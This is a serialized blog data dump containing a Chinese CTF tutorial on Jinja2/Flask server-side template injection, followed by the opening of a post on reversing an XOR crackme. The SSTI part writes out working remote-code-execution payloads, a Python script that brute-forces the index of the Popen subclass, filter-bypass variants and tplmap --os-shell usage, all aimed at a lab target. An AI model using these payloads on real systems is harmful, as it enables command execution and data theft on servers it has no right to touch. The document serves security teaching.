alice!\u003C/h1>\n","html",[19,6887,6888],{"__ignoreMap":33},[37,6889,6890,6893,6896,6899,6901],{"class":39,"line":40},[37,6891,6892],{"class":1217},"\u003C",[37,6894,6895],{"class":1071},"h1",[37,6897,6898],{"class":1217},">Hello, alice!\u003C/",[37,6900,6895],{"class":1071},[37,6902,1221],{"class":1217},[85,6904,6906],{"id":6905},"_32-表达式求值","3.2 表达式求值",[28,6908,6910],{"className":30,"code":6909,"language":32,"meta":33,"style":33},"curl \"http://127.0.0.1:5000/?name={{7*7}}\"\n",[19,6911,6912],{"__ignoreMap":33},[37,6913,6914,6916,6918,6921],{"class":39,"line":40},[37,6915,5505],{"class":43},[37,6917,5508],{"class":1545},[37,6919,6920],{"class":47},"http://127.0.0.1:5000/?name={{7*7}}",[37,6922,5514],{"class":1545},[15,6924,1310],{},[28,6926,6928],{"className":6883,"code":6927,"language":6885,"meta":33,"style":33},"\u003Ch1>Hello, 49!\u003C/h1>\n",[19,6929,6930],{"__ignoreMap":33},[37,6931,6932,6934,6936,6939,6941],{"class":39,"line":40},[37,6933,6892],{"class":1217},[37,6935,6895],{"class":1071},[37,6937,6938],{"class":1217},">Hello, 49!\u003C/",[37,6940,6895],{"class":1071},[37,6942,1221],{"class":1217},[15,6944,6945,6948,6949,6952],{},[19,6946,6947],{},"7*7"," 被求值成 ",[19,6950,6951],{},"49","，说明模板表达式生效，SSTI 成立。",[85,6954,6956],{"id":6955},"_33-其他引擎的探测语法","3.3 其他引擎的探测语法",[943,6958,6959,6972],{},[946,6960,6961],{},[949,6962,6963,6966,6969],{},[952,6964,6965],{},"引擎",[952,6967,6968],{},"语言",[952,6970,6971],{},"探测 payload",[962,6973,6974,6986,6999,7011],{},[949,6975,6976,6979,6982],{},[967,6977,6978],{},"Jinja2 / Twig",[967,6980,6981],{},"Python / PHP",[967,6983,6984],{},[19,6985,6857],{},[949,6987,6988,6991,6994],{},[967,6989,6990],{},"Freemarker",[967,6992,6993],{},"Java",[967,6995,6996],{},[19,6997,6998],{},"${7*7}",[949,7000,7001,7004,7006],{},[967,7002,7003],{},"Velocity",[967,7005,6993],{},[967,7007,7008],{},[19,7009,7010],{},"#set($x=7*7)$x",[949,7012,7013,7016,7019],{},[967,7014,7015],{},"Smarty",[967,7017,7018],{},"PHP",[967,7020,7021],{},[19,7022,7023],{},"{$smarty.version}",[10,7025,7027],{"id":7026},"四核心步骤-2一条-rce-链","四、核心步骤 2：一条 RCE 链",[15,7029,7030,7032],{},[107,7031,109],{},"：从\"能算数\"提升到\"能执行系统命令\"。",[15,7034,7035,7037,7038,7041,7042,991,7045,991,7048,7051,7052,7055,7056,7058,7059,7062,7063,490],{},[107,7036,336],{},"：模板只能访问少量对象（如 ",[19,7039,7040],{},"config","）。Python 对象有 ",[19,7043,7044],{},"__class__",[19,7046,7047],{},"__init__",[19,7049,7050],{},"__globals__"," 等内部属性，沿着它们可以摸到模块全局命名空间，从而拿到 ",[19,7053,7054],{},"os"," 模块。验证方式：先执行 ",[19,7057,5480],{},"，输出 ",[19,7060,7061],{},"uid=..."," 即成功，再换 ",[19,7064,7065],{},"cat /flag",[15,7067,7068,7069,7071,7072,7074],{},"目标是执行系统命令。Jinja2 模板中可以直接访问 Flask 的 ",[19,7070,7040],{}," 对象，沿 Python 内部属性找到 ",[19,7073,7054],{}," 模块。",[85,7076,7078],{"id":7077},"_41-分步理解","4.1 分步理解",[28,7080,7083],{"className":7081,"code":7082,"language":97,"meta":33},[95],"config                                  → Flask 配置对象\nconfig.__class__                        → 它的类（Config）\nconfig.__class__.__init__               → Config 的构造函数\nconfig.__class__.__init__.__globals__   → 构造函数所在模块的全局命名空间（字典）\n__globals__['os']                       → os 模块\nos.popen('id').read()                   → 执行命令并读取输出\n",[19,7084,7082],{"__ignoreMap":33},[85,7086,7088],{"id":7087},"_42-完整-payload","4.2 完整 payload",[28,7090,7093],{"className":7091,"code":7092,"language":97,"meta":33},[95],"{{config.__class__.__init__.__globals__['os'].popen('id').read()}}\n",[19,7094,7092],{"__ignoreMap":33},[15,7096,7097],{},"用 curl 发送：",[28,7099,7101],{"className":30,"code":7100,"language":32,"meta":33,"style":33},"curl \"http://127.0.0.1:5000/?name={{config.__class__.__init__.__globals__['os'].popen('id').read()}}\"\n",[19,7102,7103],{"__ignoreMap":33},[37,7104,7105,7107,7109,7112],{"class":39,"line":40},[37,7106,5505],{"class":43},[37,7108,5508],{"class":1545},[37,7110,7111],{"class":47},"http://127.0.0.1:5000/?name={{config.__class__.__init__.__globals__['os'].popen('id').read()}}",[37,7113,5514],{"class":1545},[15,7115,1310],{},[28,7117,7119],{"className":6883,"code":7118,"language":6885,"meta":33,"style":33},"\u003Ch1>Hello, uid=0(root) gid=0(root) groups=0(root)!\u003C/h1>\n",[19,7120,7121],{"__ignoreMap":33},[37,7122,7123,7125,7127,7130,7132],{"class":39,"line":40},[37,7124,6892],{"class":1217},[37,7126,6895],{"class":1071},[37,7128,7129],{"class":1217},">Hello, uid=0(root) gid=0(root) groups=0(root)!\u003C/",[37,7131,6895],{"class":1071},[37,7133,1221],{"class":1217},[15,7135,7136],{},"命令执行成功。读 flag：",[28,7138,7140],{"className":30,"code":7139,"language":32,"meta":33,"style":33},"curl \"http://127.0.0.1:5000/?name={{config.__class__.__init__.__globals__['os'].popen('cat%20/flag').read()}}\"\n",[19,7141,7142],{"__ignoreMap":33},[37,7143,7144,7146,7148,7151],{"class":39,"line":40},[37,7145,5505],{"class":43},[37,7147,5508],{"class":1545},[37,7149,7150],{"class":47},"http://127.0.0.1:5000/?name={{config.__class__.__init__.__globals__['os'].popen('cat%20/flag').read()}}",[37,7152,5514],{"class":1545},[15,7154,1310],{},[28,7156,7158],{"className":6883,"code":7157,"language":6885,"meta":33,"style":33},"\u003Ch1>Hello, flag{ssti_rce}!\u003C/h1>\n",[19,7159,7160],{"__ignoreMap":33},[37,7161,7162,7164,7166,7169,7171],{"class":39,"line":40},[37,7163,6892],{"class":1217},[37,7165,6895],{"class":1071},[37,7167,7168],{"class":1217},">Hello, flag{ssti_rce}!\u003C/",[37,7170,6895],{"class":1071},[37,7172,1221],{"class":1217},[15,7174,7175,1682,7183,7185],{},[107,7176,7177,7178,7180,7181],{},"为什么先试 ",[19,7179,5480],{}," 再试 ",[19,7182,7065],{},[19,7184,5480],{}," 只读当前用户信息，无副作用，适合验证命令是否真的执行；确认能执行后再读 flag，避免在 payload 有误时盲目尝试。",[85,7187,7189,7190,7193],{"id":7188},"_43-备选链subclasses-扫描","4.3 备选链：",[107,7191,7192],{},"subclasses"," 扫描",[15,7195,7196,7198,7199,7201,7202,490],{},[107,7197,109],{},"：当 ",[19,7200,7040],{}," 链被过滤或不可用时，用\"从 object 找所有子类\"的通用路径定位 ",[19,7203,7204],{},"subprocess.Popen",[15,7206,7207,7209,7210,1682],{},[19,7208,7040],{}," 链不可用时，从字符串对象出发找 ",[19,7211,7204],{},[28,7213,7216],{"className":7214,"code":7215,"language":97,"meta":33},[95],"''.__class__.__mro__[1].__subclasses__()\n",[19,7217,7215],{"__ignoreMap":33},[15,7219,7220],{},"先用 Python 脚本找下标：",[28,7222,7224],{"className":113,"code":7223,"language":115,"meta":33,"style":33},"import requests\n\nurl = \"http://127.0.0.1:5000/\"\nfor i in range(500):\n    # 逐个尝试子类下标 0..499，把类名渲染出来。\n    payload = \"{{''.__class__.__mro__[1].__subclasses__()[\" + str(i) + \"].__name__}}\"\n    # ''：空字符串对象；.__class__：它的类 str；\n    # .__mro__[1]：继承链上的 object 类；\n    # .__subclasses__()：object 的所有子类列表；[i] 取第 i 个；\n    # .__name__：该类的名字，会渲染到页面。\n    r = requests.get(url, params={\"name\": payload})\n    if \"Popen\" in r.text:\n        # 页面出现 Popen 字样，说明找到了 subprocess.Popen 的下标。\n        print(\"Popen index:\", i)\n        break\n",[19,7225,7226,7231,7235,7240,7245,7250,7255,7260,7265,7270,7275,7280,7285,7290,7295],{"__ignoreMap":33},[37,7227,7228],{"class":39,"line":40},[37,7229,7230],{},"import requests\n",[37,7232,7233],{"class":39,"line":60},[37,7234,133],{"emptyLinePlaceholder":132},[37,7236,7237],{"class":39,"line":71},[37,7238,7239],{},"url = \"http://127.0.0.1:5000/\"\n",[37,7241,7242],{"class":39,"line":136},[37,7243,7244],{},"for i in range(500):\n",[37,7246,7247],{"class":39,"line":142},[37,7248,7249],{},"    # 逐个尝试子类下标 0..499，把类名渲染出来。\n",[37,7251,7252],{"class":39,"line":148},[37,7253,7254],{},"    payload = \"{{''.__class__.__mro__[1].__subclasses__()[\" + str(i) + \"].__name__}}\"\n",[37,7256,7257],{"class":39,"line":154},[37,7258,7259],{},"    # ''：空字符串对象；.__class__：它的类 str；\n",[37,7261,7262],{"class":39,"line":159},[37,7263,7264],{},"    # .__mro__[1]：继承链上的 object 类；\n",[37,7266,7267],{"class":39,"line":165},[37,7268,7269],{},"    # .__subclasses__()：object 的所有子类列表；[i] 取第 i 个；\n",[37,7271,7272],{"class":39,"line":171},[37,7273,7274],{},"    # .__name__：该类的名字，会渲染到页面。\n",[37,7276,7277],{"class":39,"line":177},[37,7278,7279],{},"    r = requests.get(url, params={\"name\": payload})\n",[37,7281,7282],{"class":39,"line":183},[37,7283,7284],{},"    if \"Popen\" in r.text:\n",[37,7286,7287],{"class":39,"line":189},[37,7288,7289],{},"        # 页面出现 Popen 字样，说明找到了 subprocess.Popen 的下标。\n",[37,7291,7292],{"class":39,"line":195},[37,7293,7294],{},"        print(\"Popen index:\", i)\n",[37,7296,7297],{"class":39,"line":200},[37,7298,434],{},[15,7300,1310,7301,7304],{},[19,7302,7303],{},"Popen index: 258","（数字因 Python 版本而异）。",[15,7306,7307],{},"然后利用：",[28,7309,7312],{"className":7310,"code":7311,"language":97,"meta":33},[95],"{{''.__class__.__mro__[1].__subclasses__()[258]('id',shell=True,stdout=-1).communicate()[0]}}\n# Popen('id', shell=True, stdout=-1)：\n#   shell=True 表示通过 /bin/sh 执行字符串命令；\n#   stdout=-1 表示把标准输出接到管道；\n#   .communicate()[0]：等待进程结束并取标准输出。\n",[19,7313,7311],{"__ignoreMap":33},[10,7315,7317],{"id":7316},"五核心步骤-3过滤绕过","五、核心步骤 3：过滤绕过",[15,7319,7320,7322,7323,991,7326,7329],{},[107,7321,109],{},"：题目过滤 ",[19,7324,7325],{},".",[19,7327,7328],{},"[]","、关键词时，用等价写法表达同样的调用。",[15,7331,7332,7334,7335,7338],{},[107,7333,336],{},"：点号访问可以用 Jinja2 的 ",[19,7336,7337],{},"attr"," 过滤器替代；字符串可以被拆到 URL 参数里，让模板中不出现被过滤的关键词。验证方式：逐步替换被过滤的部分，直到 payload 能被完整执行。",[15,7340,7341,7342,991,7344,991,7347,7350],{},"题目常过滤 ",[19,7343,7325],{},[19,7345,7346],{},"[",[19,7348,7349],{},"]"," 或关键词。",[85,7352,7354],{"id":7353},"_51-用-attr-过滤器替代点号","5.1 用 attr 过滤器替代点号",[28,7356,7359],{"className":7357,"code":7358,"language":97,"meta":33},[95],"{{config|attr('__class__')|attr('__init__')|attr('__globals__')}}\n",[19,7360,7358],{"__ignoreMap":33},[85,7362,7364],{"id":7363},"_52-把敏感字符串放进-url-参数","5.2 把敏感字符串放进 URL 参数",[28,7366,7369],{"className":7367,"code":7368,"language":97,"meta":33},[95],"/?name={{config.__class__.__init__.__globals__[request.args.g].popen(request.args.c).read()}}&g=os&c=cat /flag\n",[19,7370,7368],{"__ignoreMap":33},[15,7372,7373,7374,991,7376,7379],{},"模板里不再出现 ",[19,7375,7054],{},[19,7377,7378],{},"cat"," 等关键词，可绕过字符串匹配类过滤器。",[10,7381,941],{"id":940},[85,7383,7385],{"id":7384},"工具-1curl","工具 1：curl",[28,7387,7389],{"className":30,"code":7388,"language":32,"meta":33,"style":33},"curl \"http://target/?name={{7*7}}\"          # 探测\ncurl -G \"http://target/\" --data-urlencode \"name={{...}}\"   # 自动 URL 编码\n",[19,7390,7391,7405],{"__ignoreMap":33},[37,7392,7393,7395,7397,7400,7402],{"class":39,"line":40},[37,7394,5505],{"class":43},[37,7396,5508],{"class":1545},[37,7398,7399],{"class":47},"http://target/?name={{7*7}}",[37,7401,6148],{"class":1545},[37,7403,7404],{"class":1060},"          # 探测\n",[37,7406,7407,7409,7412,7414,7417,7419,7422,7424,7427,7429],{"class":39,"line":60},[37,7408,5505],{"class":43},[37,7410,7411],{"class":479}," -G",[37,7413,5508],{"class":1545},[37,7415,7416],{"class":47},"http://target/",[37,7418,6148],{"class":1545},[37,7420,7421],{"class":479}," --data-urlencode",[37,7423,5508],{"class":1545},[37,7425,7426],{"class":47},"name={{...}}",[37,7428,6148],{"class":1545},[37,7430,7431],{"class":1060},"   # 自动 URL 编码\n",[85,7433,7435],{"id":7434},"工具-2requests","工具 2：requests",[28,7437,7439],{"className":113,"code":7438,"language":115,"meta":33,"style":33},"import requests\n\nurl = \"http://target/\"\npayload = \"{{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}\"\nr = requests.get(url, params={\"name\": payload})\n# requests.get 的 params 参数：把字典转成查询字符串并自动 URL 编码。\n# 例如 payload 里的空格、引号会被编码，避免手工转义出错。\nprint(r.text)\n",[19,7440,7441,7445,7449,7454,7459,7464,7469,7474],{"__ignoreMap":33},[37,7442,7443],{"class":39,"line":40},[37,7444,7230],{},[37,7446,7447],{"class":39,"line":60},[37,7448,133],{"emptyLinePlaceholder":132},[37,7450,7451],{"class":39,"line":71},[37,7452,7453],{},"url = \"http://target/\"\n",[37,7455,7456],{"class":39,"line":136},[37,7457,7458],{},"payload = \"{{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}\"\n",[37,7460,7461],{"class":39,"line":142},[37,7462,7463],{},"r = requests.get(url, params={\"name\": payload})\n",[37,7465,7466],{"class":39,"line":148},[37,7467,7468],{},"# requests.get 的 params 参数：把字典转成查询字符串并自动 URL 编码。\n",[37,7470,7471],{"class":39,"line":154},[37,7472,7473],{},"# 例如 payload 里的空格、引号会被编码，避免手工转义出错。\n",[37,7475,7476],{"class":39,"line":159},[37,7477,7478],{},"print(r.text)\n",[15,7480,7481,7484],{},[19,7482,7483],{},"params"," 自动完成 URL 编码，比手工拼接省事。",[85,7486,7488],{"id":7487},"工具-3tplmap","工具 3：tplmap",[15,7490,7491],{},"模板注入自动化工具：",[28,7493,7495],{"className":30,"code":7494,"language":32,"meta":33,"style":33},"git clone https://github.com/epinna/tplmap\ncd tplmap && pip install -r requirements.txt\npython tplmap.py -u \"http://target/?name=*\"          # * 是注入点标记\npython tplmap.py -u \"http://target/?name=*\" --os-shell\n",[19,7496,7497,7506,7525,7544],{"__ignoreMap":33},[37,7498,7499,7501,7503],{"class":39,"line":40},[37,7500,5332],{"class":43},[37,7502,5335],{"class":47},[37,7504,7505],{"class":47}," https://github.com/epinna/tplmap\n",[37,7507,7508,7510,7513,7515,7517,7519,7522],{"class":39,"line":60},[37,7509,1892],{"class":1891},[37,7511,7512],{"class":47}," tplmap",[37,7514,1902],{"class":1217},[37,7516,3801],{"class":43},[37,7518,48],{"class":47},[37,7520,7521],{"class":479}," -r",[37,7523,7524],{"class":47}," requirements.txt\n",[37,7526,7527,7529,7532,7534,7536,7539,7541],{"class":39,"line":71},[37,7528,115],{"class":43},[37,7530,7531],{"class":47}," tplmap.py",[37,7533,6141],{"class":479},[37,7535,5508],{"class":1545},[37,7537,7538],{"class":47},"http://target/?name=*",[37,7540,6148],{"class":1545},[37,7542,7543],{"class":1060},"          # * 是注入点标记\n",[37,7545,7546,7548,7550,7552,7554,7556,7558],{"class":39,"line":136},[37,7547,115],{"class":43},[37,7549,7531],{"class":47},[37,7551,6141],{"class":479},[37,7553,5508],{"class":1545},[37,7555,7538],{"class":47},[37,7557,6148],{"class":1545},[37,7559,7560],{"class":479}," --os-shell\n",[10,7562,7564],{"id":7563},"七小-ctf-实战flask-模板题","七、小 CTF 实战：Flask 模板题",[15,7566,1039,7567,7570,7571,490],{},[19,7568,7569],{},"http://target/?name="," 存在 SSTI，flag 在 ",[19,7572,7573],{},"/flag",[85,7575,7577],{"id":7576},"第一步探测","第一步：探测",[15,7579,7580,7582],{},[107,7581,109],{},"：用最便宜的请求确认漏洞类型，再决定用哪条链。",[28,7584,7586],{"className":30,"code":7585,"language":32,"meta":33,"style":33},"curl \"http://target/?name={{7*7}}\"\n",[19,7587,7588],{"__ignoreMap":33},[37,7589,7590,7592,7594,7596],{"class":39,"line":40},[37,7591,5505],{"class":43},[37,7593,5508],{"class":1545},[37,7595,7399],{"class":47},[37,7597,5514],{"class":1545},[15,7599,7600,7601,7603],{},"响应含 ",[19,7602,6951],{}," → 确认。",[85,7605,7607],{"id":7606},"第二步直接打","第二步：直接打",[15,7609,7610,7612,7613,7616,7617,7619,7620,7622],{},[107,7611,336],{},"：先 ",[19,7614,7615],{},"config.__globals__"," 链试 ",[19,7618,7065],{},"；如果响应没出现 flag 内容，先改用 ",[19,7621,5480],{}," 确认命令是否执行，再排查是不是命令被截断（如空格需要编码）。",[28,7624,7626],{"className":113,"code":7625,"language":115,"meta":33,"style":33},"import requests\n\nurl = \"http://target/\"\npayload = \"{{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}\"\nr = requests.get(url, params={\"name\": payload})\nprint(r.text)\n",[19,7627,7628,7632,7636,7640,7644,7648],{"__ignoreMap":33},[37,7629,7630],{"class":39,"line":40},[37,7631,7230],{},[37,7633,7634],{"class":39,"line":60},[37,7635,133],{"emptyLinePlaceholder":132},[37,7637,7638],{"class":39,"line":71},[37,7639,7453],{},[37,7641,7642],{"class":39,"line":136},[37,7643,7458],{},[37,7645,7646],{"class":39,"line":142},[37,7647,7463],{},[37,7649,7650],{"class":39,"line":148},[37,7651,7478],{},[15,7653,7654],{},"预期输出中出现：",[28,7656,7659],{"className":7657,"code":7658,"language":97,"meta":33},[95],"flag{ssti_rce}\n",[19,7660,7658],{"__ignoreMap":33},[85,7662,7664],{"id":7663},"第三步被过滤时","第三步：被过滤时",[15,7666,7667,7669,7670,7672],{},[107,7668,336],{},"：把点号换成 ",[19,7671,7337],{},"、把关键词拆到 URL 参数，一条条替换直到成功。",[15,7674,7675],{},"改用 attr 与 request.args 组合：",[28,7677,7680],{"className":7678,"code":7679,"language":97,"meta":33},[95],"/?name={{config|attr('__class__')|attr('__init__')|attr('__globals__')|attr('__getitem__')(request.args.g)|attr('popen')(request.args.c)|attr('read')()}}&g=os&c=cat /flag\n",[19,7681,7679],{"__ignoreMap":33},[10,7683,1130],{"id":1129},[15,7685,7686,7687,3395,7689,7692,7693,1139,7695,7698],{},"SSTI 主线：探测 ",[19,7688,6857],{},[19,7690,7691],{},"config.__class__.__init__.__globals__['os']"," 执行命令 → 被过滤就换 ",[19,7694,7337],{},[19,7696,7697],{},"request.args","。理解了对象链，各种过滤只是换写法的问题。",[1144,7700,7701],{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html pre.shiki code .seVfx, html code.shiki .seVfx{--shiki-default:#E9F284}html pre.shiki code .shSDL, html code.shiki .shSDL{--shiki-default:#6272A4}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .sLL85, html code.shiki .sLL85{--shiki-default:#8BE9FD}html pre.shiki code .sCdxs, html code.shiki .sCdxs{--shiki-default:#F8F8F2}html pre.shiki code .s0Tla, html code.shiki .s0Tla{--shiki-default:#FF79C6}",{"title":33,"searchDepth":60,"depth":60,"links":7703},[7704,7705,7706,7707,7708,7709,7710,7711],{"id":6670,"depth":71,"text":6671},{"id":6749,"depth":71,"text":6750},{"id":6839,"depth":71,"text":6840},{"id":7026,"depth":71,"text":7027},{"id":7316,"depth":71,"text":7317},{"id":940,"depth":71,"text":941},{"id":7563,"depth":71,"text":7564},{"id":1129,"depth":71,"text":1130},"服务端模板注入：搭建 Flask 漏洞环境、探测、命令执行链、过滤器绕过与 tplmap 自动化。",{"date":1160,"image":7714,"alt":7715,"tags":7716,"published":132},"/blogs-img/blog6.png","SSTI 深入实战",[1164,6657,7717,1167],"ssti","/blogs/ctf-web-ssti-deep-dive",{"title":6665,"description":7712},"blogs/15. ctf-web-ssti-deep-dive","H68LG4VV4pU8n-1nfoEL6bndV0uPlrJH4gGMRV2-3rs",{"id":7723,"title":7724,"body":7725,"description":8665,"extension":1158,"meta":8666,"navigation":132,"ogImage":8667,"path":8670,"seo":8671,"stem":8672,"__hash__":8673},"content/blogs/16. ctf-reverse-crackme-deep-dive.md","逆向一个 XOR CrackMe：从侦查到脚本还原",{"type":7,"value":7726,"toc":8654},[7727,7731,7734,7738,7744,7928,7931,7948,7951,7960,7965,7977,7981,7983,7988,8001,8005,8016,8019,8025,8030,8034,8045,8059,8061,8067,8076,8080,8085,8100,8102,8133,8135,8164,8171,8175,8207,8210,8235,8239,8242,8292,8297,8299,8307,8310,8316,8318,8330,8344,8346,8351,8360,8362,8367,8370,8385,8387,8393,8396,8400,8405,8422,8482,8484,8496,8498,8503,8506,8516,8520,8524,8607,8611,8642,8644,8651],[10,7728,7730],{"id":7729},"一现实背景注册码校验","一、现实背景：注册码校验",[15,7732,7733],{},"商业软件用\"输入正确序列号才放行\"的校验函数保护授权，逆向需要从二进制还原该校验逻辑。CrackMe 是这类校验的简化版，也是逆向入门最好的练习材料。",[10,7735,7737],{"id":7736},"二题目源码与编译","二、题目源码与编译",[15,7739,7740,7741,1682],{},"出题人视角的 ",[19,7742,7743],{},"crackme.c",[28,7745,7747],{"className":1937,"code":7746,"language":1939,"meta":33,"style":33},"#include \u003Cstdio.h>\n#include \u003Cstring.h>\n\nint check(const char *input) {\n    char key[] = \"k3y\";\n    // key：异或密钥，编译后仍以字符串形式存在二进制里，strings 可见。\n    unsigned char enc[] = {\n        0x08,0x47,0x1f,0x10,0x41,0x1c,0x1d,0x56,\n        0x0b,0x18,0x56,0x26,0x0e,0x5d,0x1e,0x02,\n        0x5d,0x1c,0x0e,0x41,0x10,0x05,0x54,0x04\n    };\n    // enc：把正确 flag 逐字节异或后的密文，硬编码在程序里。\n    int n = strlen(input);\n    // strlen：求输入长度（不含结尾 \\0）。\n    if (n != 24) return 0;\n    // 长度必须是 24，先卡掉大部分错误输入。\n    for (int i = 0; i \u003C n; i++)\n        if ((input[i] ^ key[i % 3]) != enc[i]) return 0;\n        // 逐字节校验：输入第 i 位与 key 循环异或后必须等于密文第 i 位。\n        // key[i % 3]：i%3 在 0,1,2 之间循环，即 key 循环使用。\n    return 1;\n    // 全部通过才返回 1，main 据此打印 Correct!。\n}\n\nint main(int argc, char **argv) {\n    if (argc != 2) {\n        // argc：命令行参数个数；不带参数时 argc=1，这里要求恰好 2 个。\n        puts(\"Usage: ./crackme \u003Cflag>\");\n        return 1;\n    }\n    if (check(argv[1]))\n        // argv[1]：命令行第二个参数，即用户输入的 flag。\n        puts(\"Correct!\");\n    else\n        puts(\"Wrong!\");\n    return 0;\n}\n",[19,7748,7749,7753,7758,7762,7767,7772,7777,7782,7787,7792,7797,7802,7807,7812,7817,7822,7827,7832,7837,7842,7847,7852,7857,7861,7865,7870,7875,7880,7885,7890,7895,7900,7905,7910,7915,7920,7924],{"__ignoreMap":33},[37,7750,7751],{"class":39,"line":40},[37,7752,2552],{},[37,7754,7755],{"class":39,"line":60},[37,7756,7757],{},"#include \u003Cstring.h>\n",[37,7759,7760],{"class":39,"line":71},[37,7761,133],{"emptyLinePlaceholder":132},[37,7763,7764],{"class":39,"line":136},[37,7765,7766],{},"int check(const char *input) {\n",[37,7768,7769],{"class":39,"line":142},[37,7770,7771],{},"    char key[] = \"k3y\";\n",[37,7773,7774],{"class":39,"line":148},[37,7775,7776],{},"    // key：异或密钥，编译后仍以字符串形式存在二进制里，strings 可见。\n",[37,7778,7779],{"class":39,"line":154},[37,7780,7781],{},"    unsigned char enc[] = {\n",[37,7783,7784],{"class":39,"line":159},[37,7785,7786],{},"        0x08,0x47,0x1f,0x10,0x41,0x1c,0x1d,0x56,\n",[37,7788,7789],{"class":39,"line":165},[37,7790,7791],{},"        0x0b,0x18,0x56,0x26,0x0e,0x5d,0x1e,0x02,\n",[37,7793,7794],{"class":39,"line":171},[37,7795,7796],{},"        0x5d,0x1c,0x0e,0x41,0x10,0x05,0x54,0x04\n",[37,7798,7799],{"class":39,"line":177},[37,7800,7801],{},"    };\n",[37,7803,7804],{"class":39,"line":183},[37,7805,7806],{},"    // enc：把正确 flag 逐字节异或后的密文，硬编码在程序里。\n",[37,7808,7809],{"class":39,"line":189},[37,7810,7811],{},"    int n = strlen(input);\n",[37,7813,7814],{"class":39,"line":195},[37,7815,7816],{},"    // strlen：求输入长度（不含结尾 \\0）。\n",[37,7818,7819],{"class":39,"line":200},[37,7820,7821],{},"    if (n != 24) return 0;\n",[37,7823,7824],{"class":39,"line":206},[37,7825,7826],{},"    // 长度必须是 24，先卡掉大部分错误输入。\n",[37,7828,7829],{"class":39,"line":212},[37,7830,7831],{},"    for (int i = 0; i \u003C n; i++)\n",[37,7833,7834],{"class":39,"line":218},[37,7835,7836],{},"        if ((input[i] ^ key[i % 3]) != enc[i]) return 0;\n",[37,7838,7839],{"class":39,"line":224},[37,7840,7841],{},"        // 逐字节校验：输入第 i 位与 key 循环异或后必须等于密文第 i 位。\n",[37,7843,7844],{"class":39,"line":230},[37,7845,7846],{},"        // key[i % 3]：i%3 在 0,1,2 之间循环，即 key 循环使用。\n",[37,7848,7849],{"class":39,"line":236},[37,7850,7851],{},"    return 1;\n",[37,7853,7854],{"class":39,"line":241},[37,7855,7856],{},"    // 全部通过才返回 1，main 据此打印 Correct!。\n",[37,7858,7859],{"class":39,"line":247},[37,7860,2576],{},[37,7862,7863],{"class":39,"line":253},[37,7864,133],{"emptyLinePlaceholder":132},[37,7866,7867],{"class":39,"line":258},[37,7868,7869],{},"int main(int argc, char **argv) {\n",[37,7871,7872],{"class":39,"line":264},[37,7873,7874],{},"    if (argc != 2) {\n",[37,7876,7877],{"class":39,"line":270},[37,7878,7879],{},"        // argc：命令行参数个数；不带参数时 argc=1，这里要求恰好 2 个。\n",[37,7881,7882],{"class":39,"line":276},[37,7883,7884],{},"        puts(\"Usage: ./crackme \u003Cflag>\");\n",[37,7886,7887],{"class":39,"line":281},[37,7888,7889],{},"        return 1;\n",[37,7891,7892],{"class":39,"line":287},[37,7893,7894],{},"    }\n",[37,7896,7897],{"class":39,"line":293},[37,7898,7899],{},"    if (check(argv[1]))\n",[37,7901,7902],{"class":39,"line":299},[37,7903,7904],{},"        // argv[1]：命令行第二个参数，即用户输入的 flag。\n",[37,7906,7907],{"class":39,"line":305},[37,7908,7909],{},"        puts(\"Correct!\");\n",[37,7911,7912],{"class":39,"line":4875},[37,7913,7914],{},"    else\n",[37,7916,7917],{"class":39,"line":4880},[37,7918,7919],{},"        puts(\"Wrong!\");\n",[37,7921,7922],{"class":39,"line":4886},[37,7923,2633],{},[37,7925,7926],{"class":39,"line":4891},[37,7927,2576],{},[15,7929,7930],{},"编译（解题时只有二进制，没有源码）：",[28,7932,7934],{"className":30,"code":7933,"language":32,"meta":33,"style":33},"gcc -o crackme crackme.c\n",[19,7935,7936],{"__ignoreMap":33},[37,7937,7938,7940,7942,7945],{"class":39,"line":40},[37,7939,2650],{"class":43},[37,7941,2653],{"class":479},[37,7943,7944],{"class":47}," crackme",[37,7946,7947],{"class":47}," crackme.c\n",[15,7949,7950],{},"运行确认行为：",[28,7952,7954],{"className":30,"code":7953,"language":32,"meta":33,"style":33},"./crackme\n",[19,7955,7956],{"__ignoreMap":33},[37,7957,7958],{"class":39,"line":40},[37,7959,7953],{"class":43},[15,7961,1434,7962,490],{},[19,7963,7964],{},"Usage: ./crackme \u003Cflag>",[28,7966,7968],{"className":30,"code":7967,"language":32,"meta":33,"style":33},"./crackme wrongflag123456789012\n",[19,7969,7970],{"__ignoreMap":33},[37,7971,7972,7974],{"class":39,"line":40},[37,7973,2437],{"class":43},[37,7975,7976],{"class":47}," wrongflag123456789012\n",[15,7978,1434,7979,490],{},[19,7980,1406],{},[10,7982,1278],{"id":1277},[15,7984,7985,7987],{},[107,7986,109],{},"：先确认程序类型、收集可见字符串，缩小分析范围。",[15,7989,7990,1682,7992,7994,7995,7997,7998,8000],{},[107,7991,336],{},[19,7993,1066],{}," 能看到 ",[19,7996,1410],{}," 这样的短密钥（需要 ",[19,7999,1414],{},"），但看不到二进制密文数组。若直接看到 flag 明文就是送分题；看不到就继续反汇编。",[85,8002,8004],{"id":8003},"_31-file","3.1 file",[28,8006,8008],{"className":30,"code":8007,"language":32,"meta":33,"style":33},"file crackme\n",[19,8009,8010],{"__ignoreMap":33},[37,8011,8012,8014],{"class":39,"line":40},[37,8013,969],{"class":43},[37,8015,2293],{"class":47},[15,8017,8018],{},"预期输出（Linux ELF）：",[28,8020,8023],{"className":8021,"code":8022,"language":97,"meta":33},[95],"crackme: ELF 64-bit LSB pie executable, x86-64, dynamically linked, ... not stripped\n",[19,8024,8022],{"__ignoreMap":33},[15,8026,8027,8029],{},[19,8028,1322],{},"：函数名可见。",[85,8031,8033],{"id":8032},"_32-strings","3.2 strings",[15,8035,8036,8037,8039,8040,8042,8043,1682],{},"注意：",[19,8038,1066],{}," 默认只显示长度 ≥ 4 的字符串，密钥 